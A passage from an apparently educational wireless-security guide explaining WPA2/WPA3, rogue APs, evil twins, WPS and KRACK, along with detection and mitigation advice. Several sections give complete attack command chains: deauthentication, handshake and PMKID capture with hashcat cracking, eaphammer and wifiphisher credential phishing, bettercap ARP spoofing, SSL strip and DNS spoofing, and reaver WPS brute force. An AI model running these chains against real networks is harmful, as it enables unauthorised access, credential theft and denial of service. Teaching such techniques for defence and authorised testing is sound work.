  ✗ Still based on RC4 (flawed cipher)
  ✗ Michael MIC has known weaknesses (TKIP chop-chop attack)
  ✗ Beck-Tews and Ohigashi-Morii attacks (2009) against TKIP
  ✗ RC4 inherently weaker than AES

WPA should not be used today. WPA2 is the minimum.

6. WPA2 — The Dominant Standard and Its Weaknesses

6.1 WPA2 Architecture

WPA2 (IEEE 802.11i, ratified 2004) replaced the RC4/TKIP of WPA with AES/CCMP — a fundamentally stronger foundation.

WPA2 Key Hierarchy:
                    ┌──────────────────────────────────┐
                    │         PMK (Pairwise Master Key) │ 256 bits
                    │    Derived from: password + SSID  │
                    │    PSK: PBKDF2-SHA1(password,     │
                    │         SSID, 4096, 256 bits)     │
                    └──────────────────┬───────────────┘
                                       │
                    ┌──────────────────▼───────────────┐
                    │    4-Way Handshake                │
                    │    Inputs: PMK + ANonce + SNonce  │
                    │    ANonce: AP's random number     │
                    │    SNonce: Client's random number │
                    └──────────────────┬───────────────┘
                                       │
                    ┌──────────────────▼───────────────┐
                    │         PTK (Pairwise Transient Key)│
                    │    512 bits total, split into:    │
                    │    KCK (128): key confirmation    │
                    │    KEK (128): key encryption      │
                    │    TK  (128): traffic encryption  │
                    │    MIC (128): message integrity   │
                    └──────────────────────────────────┘

6.2 The 4-Way Handshake — WPA2's Critical Exchange

AP (Authenticator)                         Client (Supplicant)
         │                                          │
         │── Message 1: EAPOL-Key ─────────────→   │
         │   [ANonce] (AP's random nonce)           │
         │   [Replay counter]                       │
         │                                          │
         │                                          │ Client computes PTK from:
         │                                          │ PMK + ANonce + SNonce + MACs
         │                                          │
         │ ←─ Message 2: EAPOL-Key ────────────── │
         │   [SNonce] (Client's random nonce)       │
         │   [MIC] (proves client knows PMK)        │
         │   [RSN IE] (security capabilities)       │
         │                                          │
         │ AP computes PTK, verifies MIC            │
         │                                          │
         │── Message 3: EAPOL-Key ─────────────→   │
         │   [GTK] (Group Temporal Key, encrypted)  │
         │   [MIC] (proves AP knows PMK)            │
         │   [Install flag]                         │
         │                                          │
         │ ←─ Message 4: EAPOL-Key ────────────── │
         │   [MIC] (acknowledges GTK)               │
         │                                          │
         │         [Encrypted session begins]       │

Why the 4-Way Handshake Is the Primary Attack Target:

The 4-way handshake contains all the information needed to perform an offline dictionary attack on the PMK (which is derived directly from the password). An attacker who captures the handshake can:

Take it offline
For each candidate password: compute PMK → PTK → verify MIC
If MIC matches: password found

No interaction with the AP is needed after capture. The attack is rate-limited only by the attacker's hardware (GPU speed).

6.3 WPA2-Personal (PSK) Attack — Complete Walkthrough

# Complete WPA2-PSK attack chain:

# Step 1: Enable monitor mode
sudo airmon-ng check kill           # Kill interfering processes
sudo airmon-ng start wlan0          # Start monitor mode
# Result: wlan0mon

# Step 2: Survey the environment
sudo airodump-ng wlan0mon
# Look for target: ENC=WPA2, AUTH=PSK
# Note: BSSID, channel, client stations (STA section at bottom)

# Step 3: Target-specific capture
sudo airodump-ng \
    --bssid AA:BB:CC:DD:EE:FF \     # Target AP MAC address
    --channel 6 \                    # AP's channel
    -w /tmp/capture \                # Output file prefix
    wlan0mon
# Captures all traffic from target, saves to /tmp/capture-01.cap

# Step 4a: Wait for organic client connection (passive)
# OR Step 4b: Force client reconnection via deauthentication (active)
sudo aireplay-ng \
    --deauth 1 \                     # Send 1 deauth frame (gentle — more = DoS)
    -a AA:BB:CC:DD:EE:FF \          # Target AP BSSID
    -c 11:22:33:44:55:66 \          # Specific client (optional — omit for broadcast)
    wlan0mon
# Client is disconnected, automatically reconnects → handshake captured

# Verify handshake capture (airodump shows WPA handshake top right):
# "WPA handshake: AA:BB:CC:DD:EE:FF"

# Step 5: Offline password cracking

# Option A: Aircrack-ng (CPU-based)
aircrack-ng \
    -w /usr/share/wordlists/rockyou.txt \  # Wordlist
    -b AA:BB:CC:DD:EE:FF \                  # Target BSSID
    /tmp/capture-01.cap
# Speed: ~2,000-10,000 passwords/second on CPU

# Option B: Hashcat (GPU-based — much faster)
# First, convert cap to hashcat format:
hcxpcapngtool \
    -o /tmp/hash.hc22000 \                  # Output in hashcat format 22000
    /tmp/capture-01.cap                      # Input capture

# Crack with Hashcat:
hashcat \
    -m 22000 \                               # WPA2 mode
    /tmp/hash.hc22000 \                      # Input hash
    /usr/share/wordlists/rockyou.txt \       # Wordlist
    -r /usr/share/hashcat/rules/best64.rule  # Rules (transform wordlist entries)
# Speed: ~1,000,000+ passwords/second on modern GPU (RTX 4090: ~2,000,000 H/s)

# Option C: PMKID attack (no client needed — passive attack!)
# More on PMKID in next section

6.4 PMKID Attack — The Game Changer (2018)

Discovered by Jens Steube (Hashcat author), August 2018:

Traditional WPA2 cracking required capturing a 4-way handshake, which required a client to connect. The PMKID attack requires NO CLIENT — just the AP.

PMKID — Pairwise Master Key Identifier:
  Computed by AP in Message 1 of the 4-way handshake (and RSN IE)
  Formula: PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)

  Critically: PMKID contains enough information to verify a PMK guess
  without capturing the full 4-way handshake

  Since PMK = PBKDF2(password, SSID, 4096, 32):
  Attacker can attempt: compute PMK from password guess → compute expected PMKID
  If PMKID matches: password found

  Advantage:
  - No client required (single frame from AP sufficient)
  - Attack can begin immediately upon scanning
  - Cannot be prevented without upgrading to WPA3

# PMKID attack:

# Step 1: Capture PMKID (uses hcxdumptool):
sudo hcxdumptool \
    -i wlan0mon \                    # Monitor mode interface
    -o /tmp/pmkid_capture.pcapng \   # Output file
    --enable_status=1 \              # Show status
    --filterlist_ap=/tmp/target_bssids.txt  # Optional: specific APs only
# Wait for PMKID — usually captured within 30-60 seconds without any clients

# Step 2: Extract hash for hashcat:
hcxpcapngtool \
    -o /tmp/pmkid.hc22000 \
    /tmp/pmkid_capture.pcapng

# Step 3: Crack (identical to handshake cracking):
hashcat -m 22000 /tmp/pmkid.hc22000 wordlist.txt

# Verify captured PMKIDs:
hcxpcapngtool -E essidlist -I identitylist -U usernamelist /tmp/pmkid_capture.pcapng
cat essidlist                        # Networks captured

6.5 WPA2-Enterprise (802.1X/EAP)

WPA2-Enterprise replaces the pre-shared key with per-user credentials verified by a RADIUS server.

WPA2-Enterprise Authentication Flow:

  Client → AP: Association Request
  AP → Client: EAP Request (identity)
  Client → AP: EAP Response (username)
  AP → RADIUS: Access Request (EAP data forwarded)
  RADIUS: validates credentials
  RADIUS → AP: Access Accept/Reject
  AP → Client: EAP Success/Failure
  AP → Client: 4-way handshake (if success)

EAP Types:
  PEAP (Protected EAP): Tunnelled TLS + MSCHAPv2
    Most common in enterprise
    Password-based inside TLS tunnel
  EAP-TLS: Certificate-based (client AND server certificates)
    Most secure — no password to steal
    Requires certificate infrastructure
  EAP-TTLS: Similar to PEAP, more flexible
  EAP-FAST: Cisco proprietary, no certificates

WPA2-Enterprise Attacks — Rogue RADIUS/Evil Twin:

Attack against PEAP:
  1. Client tries to connect to corporate WiFi
  2. Attacker's evil twin AP with same SSID responds
  3. Client starts PEAP handshake
  4. Attacker's rogue RADIUS presents a certificate
  5. If client doesn't validate certificate: client sends MSCHAPv2 challenge response
  6. Attacker captures MSCHAPv2 challenge-response
  7. Offline crack: MSCHAPv2 is breakable with asleap or hashcat (-m 5500)

Critical defence: 
  Configure supplicant (client) to validate RADIUS server certificate
  Specify exact certificate fingerprint or CA
  Without this: clients connect to any RADIUS claiming the right SSID

Tools:
  hostapd-wpe: Creates rogue RADIUS for credential capture
  eaphammer: Automated WPA2-Enterprise attack framework
  asleap: Cracks captured MSCHAPv2 credentials

# WPA2-Enterprise attack with eaphammer:
# (Educational — requires explicit permission)
sudo eaphammer \
    --interface wlan0mon \
    --channel 6 \
    --ssid "CorporateWiFi" \         # Target SSID
    --auth peap \                    # EAP type
    --creds                          # Capture credentials mode
# Eaphammer creates rogue AP + RADIUS server
# Captures PEAP credentials from connecting clients
# Outputs NetNTLMv1/v2 hashes crackable with hashcat

# Crack captured MSCHAPv2:
hashcat -m 5500 captured_hashes.txt wordlist.txt   # NetNTLMv1
hashcat -m 5600 captured_hashes.txt wordlist.txt   # NetNTLMv2

Key Insight: WPA2-PSK security is entirely dependent on password strength. The PMKID attack means an attacker can start cracking without waiting for a client — just the AP is sufficient. A common 8-character password from rockyou.txt falls in seconds on a GPU. The only defence is a password that will not appear in any wordlist: 25+ random characters or a true random passphrase. WPA3 eliminates this offline attack entirely.

7. WPA3 — The Modern Standard

7.1 WPA3 Key Improvements

WPA3 (released 2018, Wi-Fi Alliance certification began 2018) addresses the fundamental weaknesses of WPA2.

SAE — Simultaneous Authentication of Equals (Dragonfly Handshake):

WPA2 Problem:
  PMK derived from password + SSID using PBKDF2
  PMK deterministic from password → offline dictionary attack
  Attacker needs: captured handshake + password guesses → verify offline

WPA3 Solution — SAE (RFC 7664):
  Based on Diffie-Hellman key exchange
  Password is used to derive a point on an elliptic curve (or DH group)
  Both parties engage in a commit-confirm exchange
  Session key derived from DH exchange → perfect forward secrecy

  Key property: password NOT directly verifiable without LIVE interaction with the network
  → No offline dictionary attack possible (attacker must interact with real AP for each guess)
  → Forward secrecy: old traffic cannot be decrypted even if password later compromised

WPA3 Authentication:
  Commit phase:
    Both parties send: scalar + element (derived from password + random value)
    AP: compute from (password, random R_AP)
    Client: compute from (password, random R_Client)

  Confirm phase:
    Both verify each other's commitment
    If password correct: derive shared session key

  Why offline cracking fails:
    Each handshake uses different random values
    Without knowing both random values (one is secret), PMK cannot be recovered
    Each guess requires live interaction with AP (rate-limited)

WPA3-Personal vs WPA3-Enterprise:

WPA3-Personal:
  Replaces WPA2-PSK
  Uses SAE instead of 4-way handshake password verification
  Still uses pre-shared password (human-memorable)
  Eliminates offline dictionary attacks

WPA3-Enterprise:
  192-bit security mode (optional but available)
  Requires 192-bit AES-256-GCMP for data encryption
  Requires ECDSA-384 for certificates
  Requires SHA-384 for HMAC
  Designed for government, financial, critical infrastructure

WPA3-Enterprise vs WPA2-Enterprise:
  WPA2-Enterprise: 128-bit AES (CCMP), SHA-1 HMAC
  WPA3-Enterprise 192-bit: 256-bit AES, SHA-384 HMAC → much stronger

7.2 WPA3 Transition Mode and Its Risks

Most WPA3 deployments use "Transition Mode" — supporting both WPA3 and WPA2 simultaneously for backward compatibility.

WPA3 Transition Mode:
  AP broadcasts support for both WPA3-SAE and WPA2-PSK
  WPA3 clients: use SAE → strong
  WPA2 clients: use PSK → potentially vulnerable

Downgrade Attack:
  Attacker broadcasts rogue AP with same SSID announcing WPA2 only
  WPA3-capable client may downgrade to WPA2 to connect
  WPA2 connection → vulnerable to PMKID/handshake capture

Dragonblood Vulnerabilities (Mathy Vanhoef, 2019):
  Side-channel attacks against SAE implementation:

  CVE-2019-9494 (Cache Side-Channel):
    WPA3's SAE implementation used non-constant-time operations
    Cache access patterns revealed information about the password
    Allowed offline dictionary attack on some implementations

  CVE-2019-9496 (Confirm Forgery):
    SAE confirm frame could be forged to bypass authentication in some implementations

  CVE-2019-13377 (Side-Channel, Brainpool Curves):
    New attack path via timing differences

  All patched in subsequent WPA3 implementations
  Lesson: even new standards have implementation vulnerabilities

# Check WPA3 support:
sudo airodump-ng wlan0mon | grep -E "WPA3|SAE"
sudo iw dev wlan0 scan | grep -E "SAE|WPA3|OWE"

# OWE — Opportunistic Wireless Encryption (WPA3 feature):
# Open networks (coffee shops, hotels) typically have NO encryption
# OWE provides encryption without authentication (no password)
# Each client gets unique encryption key via DH
# Prevents passive eavesdropping on open networks (but not MITM)
sudo iw dev wlan0 scan | grep "OWE"

# Test SAE vs PSK connection:
# Check wpa_supplicant configuration:
cat /etc/wpa_supplicant/wpa_supplicant.conf
# key_mgmt=SAE  → WPA3
# key_mgmt=WPA-PSK  → WPA2
# key_mgmt=SAE WPA-PSK  → Transition mode

Key Insight: WPA3's SAE eliminates offline dictionary attacks — the primary attack against WPA2-PSK. However, WPA3 Transition Mode (running WPA2 and WPA3 simultaneously) reintroduces downgrade attack risk. Networks that must support legacy WPA2 clients cannot fully benefit from WPA3's protection. The complete solution requires WPA3-only networks for sensitive environments, accepting that legacy devices will not connect.

8. Rogue Access Point

8.1 What Is a Rogue Access Point

A rogue access point (rogue AP) is any wireless access point connected to a network without authorisation. The term covers:

Malicious Rogue: Deliberately installed by an attacker to gain network access
Accidental Rogue: Employee plugs in home router to get better WiFi — unintentionally creates security vulnerability
Misconfigured Rogue: AP configured incorrectly (wrong VLAN, wrong security settings)

Rogue AP Attack Scenarios:

Scenario 1: Physical Access + Rogue AP Deployment
  Attacker enters building (social engineering, tailgating)
  Plugs rogue AP into Ethernet port
  Rogue AP connects to corporate network
  Attacker controls rogue AP remotely via internet or cellular
  Has persistent LAN access without maintaining physical presence

Scenario 2: Rogue AP for Wireless Eavesdropping
  Rogue AP placed near sensitive area
  Configured to capture all wireless traffic
  Passive monitoring of unencrypted wireless devices

Scenario 3: Accidental Rogue by Employee
  Employee frustrated with weak WiFi signal
  Brings personal router from home
  Plugs into corporate Ethernet
  Router broadcasts open SSID "HomeNetwork"
  Corporate network now accessible without authentication from parking lot

Scenario 4: OT Environment Rogue
  Vendor technician needs wireless access for laptop
  Connects a portable WiFi router to OT network port "just for the service visit"
  Forgets to remove it
  OT network now has undocumented wireless access point
  May remain undiscovered for months or years

8.2 Setting Up a Rogue AP

# Creating a rogue AP on Linux (educational — authorised testing only):

# Required: wireless adapter capable of AP mode
iw list | grep "AP"                  # Check if adapter supports AP mode

# Method 1: hostapd (most flexible)
cat > /tmp/rogue_ap.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpWiFi                        # Same SSID as target network
hw_mode=g                            # 802.11g (2.4 GHz)
channel=6
macaddr_acl=0                        # Accept all MACs
ignore_broadcast_ssid=0              # Broadcast SSID
auth_algs=1                          # Open authentication
wpa=2                                # Enable WPA2
wpa_passphrase=Password123           # WPA2 password (for legitimate rogue)
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

sudo hostapd /tmp/rogue_ap.conf

# Add DHCP server for connecting clients:
sudo apt install dnsmasq
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=192.168.99.2,192.168.99.254,12h
dhcp-option=3,192.168.99.1          # Gateway
dhcp-option=6,8.8.8.8,8.8.4.4     # DNS
EOF

sudo ip addr add 192.168.99.1/24 dev wlan0
sudo dnsmasq -C /tmp/dnsmasq.conf

# Enable routing (if connecting clients to internet):
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Method 2: create_ap (wrapper tool, simpler):
sudo apt install create_ap
sudo create_ap wlan0 eth0 "CorpWiFi" "Password123"
# wlan0: wireless interface for AP
# eth0: interface to share internet from
# "CorpWiFi": SSID
# "Password123": password

8.3 Rogue AP Detection

# WIDS (Wireless Intrusion Detection System) approach:
# Monitor all APs and compare against authorised AP list

# Manual detection with airodump-ng:
sudo airodump-ng wlan0mon > /tmp/ap_survey.txt

# Python-based rogue detection:
cat > /tmp/detect_rogue.py << 'EOF'
#!/usr/bin/env python3
"""
Rogue AP Detector — compares seen APs against authorised list
"""
import subprocess, re

# Authorised APs: (ESSID, BSSID) pairs
AUTHORISED = {
    ("CorpWiFi", "AA:BB:CC:DD:EE:FF"),
    ("CorpWiFi", "AA:BB:CC:DD:EE:10"),  # Second AP, same SSID
    ("CorpGuest", "AA:BB:CC:DD:EE:20"),
}

CORPORATE_SSIDS = {"CorpWiFi", "CorpGuest", "CorpIoT"}

# Scan for APs (simplified — in production, use continuous monitoring)
result = subprocess.run(
    ["sudo", "iw", "dev", "wlan0", "scan"],
    capture_output=True, text=True
)

current_ap = {}
for line in result.stdout.split('\n'):
    if 'BSS ' in line:
        if current_ap and current_ap.get('SSID'):
            ap = (current_ap['SSID'], current_ap['BSSID'])

            # Check if SSID matches corporate but BSSID not authorised
            if current_ap['SSID'] in CORPORATE_SSIDS and ap not in AUTHORISED:
                print(f"[ALERT] ROGUE AP DETECTED:")
                print(f"  SSID: {current_ap['SSID']}")
                print(f"  BSSID: {current_ap['BSSID']}")
                print(f"  Signal: {current_ap.get('signal', 'unknown')}")

        match = re.search(r'BSS ([0-9a-f:]{17})', line)
        current_ap = {'BSSID': match.group(1) if match else 'unknown'}

    elif 'SSID: ' in line:
        current_ap['SSID'] = line.strip().replace('SSID: ', '')
    elif 'signal: ' in line:
        current_ap['signal'] = line.strip()

EOF
sudo python3 /tmp/detect_rogue.py

# Enterprise WIDS tools:
# Cisco Adaptive Wireless IPS (aWIPS) — built into Cisco infrastructure
# Aruba RFProtect — built into Aruba APs
# Zebra AirDefense — dedicated WIDS
# Kismet — open source passive WIDS
# Snort wireless rules — detect injection and rogue APs

802.1X as Rogue AP Prevention:

Problem: Employee plugs rogue AP into network port
Solution: 802.1X port authentication on switches

Without 802.1X:
  Employee plugs rogue AP in → gets DHCP → has network access

With 802.1X:
  Employee plugs rogue AP in → switch port in unauthenticated state
  Rogue AP cannot authenticate (no 802.1X supplicant configured)
  Switch keeps port blocked → rogue AP has no network access

Limitation:
  If rogue AP's uplink port is configured as trunk/bypass:
  802.1X may not apply to all traffic
  Bridge mode rogue AP may pass 802.1X frames through

Key Insight: The most dangerous rogue access points are the ones never detected — accidentally deployed by well-meaning employees who just wanted better WiFi. 802.1X on all switch ports, combined with continuous wireless monitoring, is the only reliable defence. Every unmonitored Ethernet port in a building is a potential rogue AP deployment point. In OT environments, an undiscovered rogue AP can persist for years — the average OT security incident has a 6+ month dwell time.

9. Evil Twin Attack

9.1 Evil Twin Architecture

An evil twin attack creates a near-identical copy of a legitimate wireless network, with the attacker positioned between clients and the real network (or internet). Unlike a simple rogue AP, an evil twin specifically targets clients of a known network.

LEGITIMATE NETWORK:
  Client → [Corporate AP] → Corporate Network

EVIL TWIN ATTACK:
  Client → [Evil Twin AP] → Attacker → [Internet or Corporate Network]
                                ↑
                        Man-in-the-Middle:
                        Can read, modify, inject traffic
                        SSL strip, credential capture,
                        malware injection, traffic recording

Evil Twin Properties:
  Same SSID as legitimate network
  BSSID: spoofed to match legitimate AP (or different — doesn't matter for auto-connect)
  Signal: typically stronger than legitimate AP (attacker close to client)
  Security: same (WPA2 with same SSID) or open (for credential capture)
  DHCP: provides addresses, positions attacker as default gateway
  DNS: serves controlled DNS (enables phishing, content injection)

9.2 Evil Twin Attack — Complete Implementation

# Evil Twin with Bettercap (modern, comprehensive):

# Step 1: Set up monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Step 2: Identify target network
sudo airodump-ng wlan0mon
# Note SSID, BSSID, channel, security type

# Step 3: Run Bettercap evil twin:
sudo bettercap -iface wlan0mon

# In Bettercap console:
# wifi.recon on                    # Start scanning
# wifi.show                        # Show discovered networks
# set wifi.ap.ssid "CorpWiFi"     # Set evil twin SSID
# set wifi.ap.bssid aa:bb:cc:dd:ee:ff  # Spoof legitimate AP's BSSID
# set wifi.ap.channel 6           # Same channel as legitimate AP
# wifi.ap on                      # Start evil twin AP
# set arp.spoof.targets 192.168.0.0/24
# arp.spoof on                    # MITM connected clients
# net.sniff on                    # Capture traffic

# Step 4: Force clients off legitimate AP:
# (While evil twin is running)
sudo aireplay-ng --deauth 0 -a LEGITIMATE_AP_BSSID wlan0mon
# Continuous deauth → clients constantly disconnected from legitimate AP
# Clients scan for known network → find evil twin (stronger signal, same SSID)
# Clients connect to evil twin

# Step 5: Capture credentials from connected clients:

# HTTP credentials — plaintext:
sudo bettercap -iface wlan0
# net.sniff on
# Captures all HTTP forms with credentials

# SSL Strip — downgrade HTTPS to HTTP:
# set https.proxy.sslstrip true
# https.proxy on
# (Note: HSTS-preloaded sites resist SSL strip)

# DNS spoofing — redirect to phishing pages:
cat > /tmp/dns_spoof.yml << 'EOF'
- host: "corporate-sso.company.com"
  address: "192.168.99.1"         # Attacker's IP running fake login
EOF
# set dns.spoof.hosts /tmp/dns_spoof.yml
# dns.spoof on

# With FluxionFramework (comprehensive evil twin attack tool):
sudo apt install fluxion 2>/dev/null || \
    git clone https://github.com/FluxionNetwork/fluxion.git /opt/fluxion
# cd /opt/fluxion && sudo ./fluxion.sh
# Provides: AP selection, deauth, captive portal for credential capture

9.3 WPA2 Credential Capture via Evil Twin

A specific, highly effective variant captures WPA2 handshakes through the evil twin and tricks users into entering the real password via a captive portal.

WPA2 Evil Twin Attack Flow:

1. Attacker captures WPA2 4-way handshake from legitimate AP
2. Evil twin AP set up on different channel, deauth attacks legitimate AP
3. Client connects to evil twin (same SSID)
4. Evil twin shows captive portal: "Your session expired. Enter WiFi password to continue."
5. User enters real password (it's the normal login page, it looks real)
6. Attacker tests entered password against captured handshake
7. If match: password confirmed and obtained
8. Evil twin shows "reconnecting..." while dropping client back to legitimate network
9. User believes it was a normal reconnection

Tools: Fluxion, wifiphisher

# Wifiphisher — automated evil twin with social engineering:
sudo apt install wifiphisher 2>/dev/null || \
    git clone https://github.com/wifiphisher/wifiphisher.git /opt/wifiphisher

sudo python3 /opt/wifiphisher/bin/wifiphisher \
    -aI wlan0 \                     # Interface for evil twin
    -jI wlan1 \                     # Interface for jamming/deauth
    -p firmware-upgrade \           # Phishing scenario (firmware upgrade page)
    --essid "CorpWiFi"             # Target SSID

# Phishing scenarios available in wifiphisher:
# firmware-upgrade: "Router firmware is updating, enter WiFi password"
# oauth-login: Fake OAuth screen for Google/Facebook login
# wifi_connect: "Enter WiFi password to continue"
# browser_plugin_update: Fake browser plugin update

# Detection of evil twin attacks:
# 1. Multiple APs with same SSID on different channels (legitimate = one channel)
# 2. AP with same SSID but different BSSID from authorised list
# 3. Client deauthentications without legitimate reason
# 4. DNS queries being answered by unexpected IPs
# 5. Certificate warnings on normally HTTPS-only sites (SSL stripping)

9.4 Evil Twin Detection and Mitigation

# Client-side detection:
# Check for unexpected SSL certificate changes:
# Expected: cert from company CA
# Evil twin SSL strip: no cert (HTTP)
# Evil twin with fake cert: different CA, invalid cert

# Enterprise WIDS detection:
# - Multiple APs advertising same SSID on same channel (normal = one)
# - SSID appears on unauthorised BSSID
# - Deauthentication flood from non-AP addresses
# - Client associations changing rapidly between similar BSSIDs

# Monitor for evil twin with airodump-ng:
sudo airodump-ng wlan0mon > /tmp/survey.txt
# Look for same SSID appearing with different BSSID or on wrong channel

# Corporate mitigation:
# 1. 802.1X enterprise authentication:
#    Evil twin cannot replicate RADIUS — clients see certificate error → don't connect
# 2. Certificate pinning in corporate apps:
#    Apps reject connections through MITM even if SSID/credentials are valid
# 3. VPN kill switch:
#    All traffic through corporate VPN → evil twin MITM only sees VPN traffic
# 4. HSTS preloading:
#    Browsers never downgrade HTTPS for preloaded domains → SSL strip fails
# 5. Wireless IDS with automated alerts

Key Insight: The evil twin attack exploits the fact that clients auto-connect to known SSIDs without verifying AP identity. WPA2-PSK provides no protection — the evil twin knows the password (it was cracked or socially engineered). WPA2-Enterprise with server certificate validation is the defence: the fake RADIUS in an evil twin cannot present a valid certificate for your organisation's RADIUS server. VPN with kill switch is the ultimate mitigation: even if a client connects to an evil twin, all traffic is encrypted in the VPN tunnel.

10. Additional Critical Wireless Attacks

10.1 Deauthentication and Disassociation Attacks

IEEE 802.11 Management Frames:
  Deauthentication (type 0x00, subtype 0x0C):
    Terminates an authenticated session
    Can be sent by: AP to disconnect client, client to disconnect from AP
    Unauthenticated: any device can forge a deauth frame as any sender

  Disassociation (type 0x00, subtype 0x0A):
    Terminates an associated session (less complete than deauth)
    Also unauthenticated

Attack: Forged Deauthentication
  Attacker sends deauth frames with AP's BSSID as source, targeting specific client
  Client receives "AP told me to disconnect" → disconnects
  Client attempts reconnection → handshake capture opportunity
  OR: continuous deauth → DoS against specific client or all clients

IEEE 802.11w (Management Frame Protection):
  Adds cryptographic authentication to management frames
  Deauth frames MIC-authenticated → forged deauths rejected
  Requirement: WPA3 requires 802.11w
  WPA2 with 802.11w: called "Protected Management Frames" (PMF)
  Status: 2019+ Wi-Fi Alliance requires PMF support, WPA3 mandates it

# Deauthentication attack:
sudo aireplay-ng \
    --deauth 100 \                  # Number of deauth packets (0 = infinite)
    -a AA:BB:CC:DD:EE:FF \         # Target AP BSSID
    -c 11:22:33:44:55:66 \         # Target client (omit for broadcast deauth)
    wlan0mon

# Detect 802.11w capability (PMF):
sudo iw dev wlan0 scan | grep -A5 "BSS" | grep -i "protected"
# or in airodump: check CIPHER column for CCMP with 802.11w support

# Verify your network has PMF enabled:
sudo iw dev wlan0 info
# And check hostapd config: ieee80211w=2 (required) or ieee80211w=1 (capable)

10.2 WPS — Wi-Fi Protected Setup Attacks

WPS (Wi-Fi Protected Setup):
  Designed to simplify device connection to Wi-Fi
  Methods:
    PBC (Push Button): Press button on router, device connects automatically
    PIN: 8-digit PIN for authentication
    NFC: Near-field communication (rare)

WPS PIN Vulnerability (2011):
  8-digit PIN: 10^8 = 100,000,000 possible values (100M guesses worst case)
  But: AP validates PIN in two halves (first 4 digits, last 4 digits)
  First half: 10^4 = 10,000 guesses
  Second half: 10^3 = 1,000 guesses (last digit is checksum)
  Total: 11,000 guesses maximum → cracked in 2-10 hours

Pixie Dust Attack (2014, Dominique Bongard):
  WPS implementation bug: predictable random numbers used in DH exchange
  AP's random nonces are predictable from public values
  Full WPS PIN recovered offline from single exchange — seconds to minutes
  Affects: many Broadcom and Ralink chipset routers

# WPS attack with Reaver:
# Step 1: Find WPS-enabled APs:
sudo wash -i wlan0mon              # Identifies WPS-enabled APs
# Note: BSSID, ESSID, WPS Version, WPS Locked status

# Step 2: Pixie Dust attack (fast, offline):
sudo reaver \
    -i wlan0mon \                  # Monitor mode interface
    -b AA:BB:CC:DD:EE:FF \        # Target AP BSSID
    -vv \                          # Verbose output
    -K 1 \                         # Pixie Dust mode
    -c 6                           # Channel

# Step 3: If Pixie Dust fails, brute force PIN:
sudo reaver \
    -i wlan0mon \
    -b AA:BB:CC:DD:EE:FF \
    -vv \
    -c 6 \
    -d 2 \                         # Delay between attempts (avoid lockout)
    -r 3:60                        # Rate limit: 3 attempts per 60 seconds

# WPS lockout: many APs lock WPS after ~10 failures
# Bully is an alternative to Reaver: sudo apt install bully

# Defence: Disable WPS entirely on all access points
# Router admin → Wireless → WPS → Disable
# Even with WPS "disabled", some firmware still responds to WPS probes
# Verify with: sudo wash -i wlan0mon (should not show WPS on secured AP)

10.3 KRACK — Key Reinstallation Attack (2017)

CVE-2017-13077 through CVE-2017-13086
Discovered by: Mathy Vanhoef
Severity: All WPA2 implementations

How KRACK Works:
  WPA2 4-way handshake — Message 3 (AP → Client):
    Contains GTK (Group Temporal Key)
    AP may retransmit if no ACK received
    Each retransmission uses same ANonce

  Attack:
    Attacker intercepts Message 3
    Prevents Client from acknowledging → AP retransmits Message 3
    Attacker can replay Message 3 multiple times

  Key Reinstallation:
    Receiving Message 3 again causes client to reinstall PTK with same key
    Nonce (counter) reset to initial value

  Nonce Reuse + AES-CCMP:
    AES-CCMP nonce is the packet counter
    Nonce reuse allows keystream recovery (similar to WEP)
    → Attacker can decrypt traffic

Impact by platform:
  Linux/Android: Used all-zeros key after reinstallation (catastrophic)
  Windows/iOS: Partial vulnerability (limited practical impact)

KRACK was patched in OS updates (2017-2018)
Legacy unpatched devices remain vulnerable (OT concern)

10.4 Bluetooth Security — Brief Overview

Bluetooth uses the 2.4 GHz ISM band, shares spectrum with Wi-Fi, and has its own security architecture relevant to OT/ICS.

Bluetooth Attack Surface:
  BlueBorne (2017, Armis Research):
    Remote code execution via Bluetooth WITHOUT PAIRING
    Attacker in range → exploit → RCE as highest privilege
    Affected: Linux, Android, Windows, iOS (before patch)
    ~5.3 billion devices affected at disclosure

  Bluesnarfing:
    Unauthorised access to Bluetooth device data
    Contact list, messages, calendar without pairing

  Bluejacking:
    Send unsolicited messages to Bluetooth devices
    Social engineering vector

  Eavesdropping:
    Capture Bluetooth traffic with custom hardware
    Ubertooth One: open-source Bluetooth monitor
    Most Bluetooth uses frequency hopping (1600 hops/second)
    Monitoring requires hardware that can follow hops

OT Relevance:
  Bluetooth used for:
    Field device configuration (handheld terminals for HART, PROFIBUS)
    Wireless sensors (industrial IoT)
    Worker safety devices (fall detection, gas detection)

  Security concern: Bluetooth field configuration tool paired to PLC
  Attacker with BlueBorne exploit → RCE on configuration tool →
  access to PLC programming interface

11. Wireless Forensics and Detection

11.1 Wireless Evidence Collection

# Comprehensive wireless monitoring setup:

# 1. Enable monitor mode:
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Result: wlan0mon

# 2. Full packet capture (all channels, all traffic):
sudo airodump-ng \
    -w /tmp/wireless_evidence \     # Output prefix (creates .cap, .csv, .kismet.netxml)
    --output-format pcap,csv,netxml \  # Multiple output formats
    wlan0mon                         # Monitor interface

# 3. Targeted capture (specific AP):
sudo airodump-ng \
    --bssid AA:BB:CC:DD:EE:FF \     # Target AP
    --channel 6 \
    --manufacturer \                  # Show manufacturer info
    -w /tmp/target_capture \
    wlan0mon

# 4. Kismet for comprehensive WIDS/forensics:
sudo apt install kismet
sudo kismet -c wlan0mon \
    --log-title="Wireless Survey" \
    --log-types=kismet,pcapng,csv

# 5. GPS correlation (wardriving):
sudo kismet -c wlan0mon \
    --use-gpsd                       # Connect to GPSD for location data

# Extract useful data from capture:
# All unique BSSIDs:
tshark -r capture.pcap -T fields -e wlan.bssid | sort -u | grep -v "^$"

# All unique SSIDs:
tshark -r capture.pcap -T fields -e wlan.ssid | sort -u | grep -v "^$"

# Probe requests (what networks are clients looking for):
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 4" \
    -T fields -e wlan.ta -e wlan.ssid

# Authentication frames (track connection events):
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 11 or wlan.fc.type_subtype == 0"

11.2 Forensic Analysis of Captured Traffic

# Decrypt WPA2 traffic in Wireshark (if password known):
